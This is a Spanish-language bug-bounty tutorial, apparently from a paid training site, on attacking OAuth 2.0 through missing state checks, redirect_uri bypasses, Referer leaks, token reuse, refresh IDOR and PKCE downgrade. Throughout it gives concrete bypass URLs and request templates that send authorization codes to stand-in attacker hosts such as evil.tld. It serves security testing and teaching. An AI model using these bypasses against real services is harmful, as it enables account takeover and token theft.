Respuesta rápida
OAuth 2.0 es el target más rentable de 2026 — cada implementación tiene matices y los devs casi nunca leen la spec entera. Cuatro bugs explotan el 80% de los flows: state ausente o no validado (CSRF en account linking → ATO), redirect_uri validado con suffix/regex laxo (token leak a dominio atacante), token reuse cross-app (token emitido para client A vale para client B), y IDOR en /oauth/refresh (refresh ajeno renovado por el atacante). Bounties: €1.500-€15.000 según severidad.
El flujo authorization code (refresher)
[Cliente] [Authorization Server] [Resource]
| | |
| /authorize?client_id | |
| &redirect_uri=... | |
| &state=RANDOM | |
| &response_type=code | |
| ───────────────────────> | |
| | |
| 302 redirect_uri?code=X | |
| &state=RANDOM | |
| <─────────────────────── | |
| | |
| POST /token | |
| code=X + client_secret | |
| ───────────────────────> | |
| | |
| access_token + refresh | |
| <─────────────────────── | |
Cada paso tiene su clase de bug. Empezamos por el más común.
state parameter ausente — CSRF en account linking
state es un valor random que el cliente genera, envía a /authorize, y verifica al recibir el callback. Sin state, account linking es CSRF directo.
Escenario
Apps que permiten "linkear cuenta de Google/Facebook a mi cuenta de target.com" suelen tener un flow:
1. User logged in target.com clica "Link Google"
2. target.com redirige a Google /authorize
3. Google → target.com/oauth/callback?code=X
4. target.com asocia ese code con la sesión actual del user
Si target.com no valida state, el atacante hace:
1. Atacante inicia link de SU Google con SU cuenta target.com
2. Para en el paso 3 — captura code de Google
3. Engaña a víctima para visitar target.com/oauth/callback?code=ATACANTE
4. target.com asocia el code del atacante con la sesión de la víctima
5. Víctima ahora tiene la Google del atacante linkeada
6. Atacante logs out → "Sign in with Google" → entra como víctima
Bounty típico €3.000-€8.000 (ATO completo).
Detección
GET /oauth/authorize?client_id=X&redirect_uri=Y&response_type=code
← sin &state=
Si el cliente no envía state → ya tienes el bug. Si lo envía pero siempre el mismo valor o no se valida en callback → mismo bug. Test: cambiar el state en el callback, ¿la app sigue funcionando? Si sí → CSRF.
redirect_uri bypass — la mina de oro
redirect_uri debe ser validado exactamente contra una whitelist. Cualquier matching laxo es explotable.
Patrón 1 — prefix matching
if (redirectUri.startsWith("https://target.com")) accept();
Bypass:
https://target.com.attacker.tld/callback
https://target.com@attacker.tld/callback
https://target.coma.attacker.tld ← no termina con / o ?
Patrón 2 — suffix matching
if (redirectUri.endsWith("target.com/callback")) accept();
Bypass:
https://attacker.tld/target.com/callback
Atacante hostea /target.com/callback con un script que lee ?code= y exfiltra.
Patrón 3 — subdomain wildcard demasiado amplio
const allowed = /^https:\/\/.*\.target\.com\/callback$/;
Bypass: si cualquier subdomain está controlado por el atacante (subdomain takeover, hosting de user content, blog en pages.target.com/atacante/) → token leak.
Patrón 4 — open redirect en redirect_uri permitido
redirect_uri = https://target.com/redirect?next=... — si target.com/redirect?next= permite redirect a cualquier URL, el code viaja a tu dominio:
redirect_uri=https://target.com/redirect?next=https://evil.tld
↓
authorization server redirige a target.com/redirect?next=...&code=X
↓
target.com/redirect redirige a evil.tld?code=X
↓
evil.tld recibe el code (en query string + via Referer)
Patrón 5 — path traversal en redirect_uri
redirect_uri=https://target.com/callback/../../malicious
↑ normaliza a /malicious
Útil si la app monta callbacks en sub-paths y otro sub-path es controlable por user.
<!-- PAYWALL -->Code interception via Referer
El authorization code viaja en query string del callback. Si la página del callback embebe assets de terceros (imagen, font, analytics), esos terceros reciben el Referer con el code.
<!-- target.com/oauth/callback?code=ABC123 -->
<img src="https://analytics.evil.tld/pixel.gif">
analytics.evil.tld recibe Referer: https://target.com/oauth/callback?code=ABC123. Bounty típico €500-€2.000 dependiendo del impacto.
Fix correcto: Referrer-Policy: strict-origin o consumir el code antes del render.
Token reuse cross-app
Si dos apps (app1.target.com y app2.target.com) comparten el mismo client_id de authorization server, un token emitido para app1 puede valer para app2 → cross-app SSO unintended.
Test
- Login en
app1.target.comcon Google. - Captura el
access_token. - Manda request a
app2.target.com/api/...conAuthorization: Bearer <token>. - ¿Responde 200? Token reuse cross-app.
Esto es Critical cuando app1 es low-trust (consumer-facing) y app2 es high-trust (admin panel, internal tool).
Audience claim missing
JWTs OAuth deben tener aud (audience) — el cliente debe verificar que el aud matchea su client_id. Si la app no verifica aud, un token emitido para client X vale para client Y.
{
"sub": "user42",
"iss": "https://auth.target.com",
"aud": "client-app1", ← cliente debe verificar esto
"exp": 1700000000
}
IDOR en /oauth/refresh
Endpoint de refresh suele recibir el refresh_token y emitir un nuevo access_token. Si el endpoint no valida que el refresh pertenezca al user actual:
POST /oauth/refresh
Authorization: Bearer ATACANTE_TOKEN
{"refresh_token": "REFRESH_DE_VICTIMA"}
← 200 OK con access_token de víctima
Origen del refresh ajeno: leak via XSS, log, GraphQL introspection, source map. Patrón documentado en H1 con bounties €2K-€10K.
response_type confusion — implicit flow attacks
response_type=token (implicit flow) devuelve el access_token directamente en el fragment de la URL:
https://app.target.com/callback#access_token=XXX&token_type=bearer
Si el cliente acepta tanto code como token y el atacante puede forzar response_type=token en un flow que normalmente usa code:
/authorize?client_id=X&redirect_uri=Y&response_type=token ← downgrade a implicit
→ token en fragment → exfiltrable vía window.location.hash desde un XSS o open redirect en la app.
PKCE bypass — clientes públicos
PKCE protege clientes públicos (SPA, mobile) que no pueden guardar client_secret. El flow añade code_challenge (hash de code_verifier) que el atacante no puede regenerar.
Bypass común — PKCE opcional
Algunos auth servers permiten PKCE pero no lo requieren. Si el cliente lo manda y la app no lo verifica, el atacante hace request al /token sin PKCE:
POST /token
code=INTERCEPTADO ← sin code_verifier
client_id=public_client_id
Si el server acepta → PKCE downgrade → code interception útil.
Bypass via code_verifier débil
Algunas implementaciones aceptan code_verifier como string vacío. Test:
POST /token
code=X
code_verifier= ← vacío
Open redirect chain — clásico de €3000
Combinación más rentable: open redirect en la app target + redirect_uri ajeno-friendly.
1. target.com tiene open redirect en /go?to=...
2. Atacante construye:
/authorize?redirect_uri=https://target.com/go&state=...
3. Auth server acepta (target.com está whitelisted)
4. Callback llega a target.com/go?code=X&state=Y
5. target.com/go redirige a evil.tld?code=X
evil.tld recibe el code → tiene acceso a la cuenta del usuario.
Bounty real documentado: €3.500-€8.000 dependiendo del scope.
Hunting checklist
- Captura el flow OAuth completo (authorize + callback + token exchange).
- Verifica si
statese envía y si se valida (cambia el valor en callback). - Prueba
redirect_uricon: prefix tricks (@, sub.original.com), suffix tricks, path traversal, subdomain wildcards. - Inspecciona el callback page por assets de terceros → Referer leak del code.
- Misma org tiene varias apps? Prueba token reuse cross-app y
audverification. - Endpoint de refresh — manda refresh token ajeno desde tu sesión.
- Cambia
response_type=codeatoken— ¿accept? - PKCE: prueba flow sin
code_verifiero con valor vacío. - Open redirect en target → encadena con OAuth para leak.
- Account linking flow: CSRF via state ausente → ATO directo.
Labs relacionados
Practica state CSRF, redirect_uri bypass, code interception y PKCE downgrade en labs de OAuth.
Practica esto en un lab
Oauth Attacks State Csrf Redirect
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El bypass de redirect_uri usando suffix matching que afecta a 30+ apps top según mi research interno — pattern detectable en 1 request.
5 €/mes · cancela cuando quieras
Artículos relacionados
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.
OAuth open redirect — backslash bypass de redirect_uri (POE report walkthrough)
Walkthrough del report POE: open redirect via `\` (backslash) en redirect_uri que el parser de POE no normalizaba correctamente. URL-based XSS encadenado para token theft.
Open Redirect vía Backslash Bypass en redirect_url del Login OAuth
El validador del cliente comprueba //, : y /. El backslash pasa. Los navegadores lo normalizan a slash y la víctima acaba en evil.tld con la cookie de sesión activa.